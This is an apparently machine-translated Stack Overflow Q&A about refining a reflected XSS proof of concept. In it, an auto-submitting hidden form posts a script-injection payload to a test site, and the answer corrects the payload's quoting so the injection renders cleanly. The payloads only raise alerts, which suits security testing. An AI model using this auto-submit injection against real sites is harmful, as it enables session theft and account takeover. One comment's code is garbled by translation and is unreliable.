XSS: отображение символов в DOM

#javascript #html #security #web #xss

#javascript #HTML #Безопасность #веб #xss

Вопрос:

Я создал html-страницу, которая перенаправляет пользователя на тестовый сайт с уязвимостью XSS. Я могу успешно выполнить javascript через уязвимость. Однако я обнаружил, что некоторые символы, которые я использую как часть атаки XSS, отображаются в DOM. Как я могу скрыть эти символы от отображения в DOM?

 <body onload="document.forms[0].submit()">
    <form action="http://sometestsite.com" method="POST">
      <input 
        type="hidden"
        name="login"
        value='"><script>alert(document.location)</script>'
      </input>
    </form>
  </body>
  

Ответ №1:

Ошибка опечатки value='" и удаление последнего ' />

 <form action="http://sometestsite.com" method="POST">
      <input type="hidden"
        name="login"
        value="" /><script>alert(3)</script>
    </form>
  

 <body onload="document.forms[0].submit()">
    <form action="http://sometestsite.com" method="POST">
      <input type="hidden"
        name="login"
        value=""><script>alert(3)</script>
    </form>
  </body>  

Комментарии:

1. @ChrisSmith сделайте входной тег самозакрытым.

2. @Teemu Можете ли вы привести пример изменения?

3. Проблема по-прежнему сохраняется. <тип ввода = «скрытый» имя =»логин» значение ='»><сценарий>оповещение (document.location)</script>’ />

4. Пожалуйста, будьте более осторожны при написании… Похоже ли это на самозакрытие input ??? Вы не можете вложить тег внутри тега, вам нужны отдельные теги для ввода и сценария.

5. @Teemu Я пытаюсь достичь XSS. Как я мог бы ввести XSS с самозакрывающимся вводом???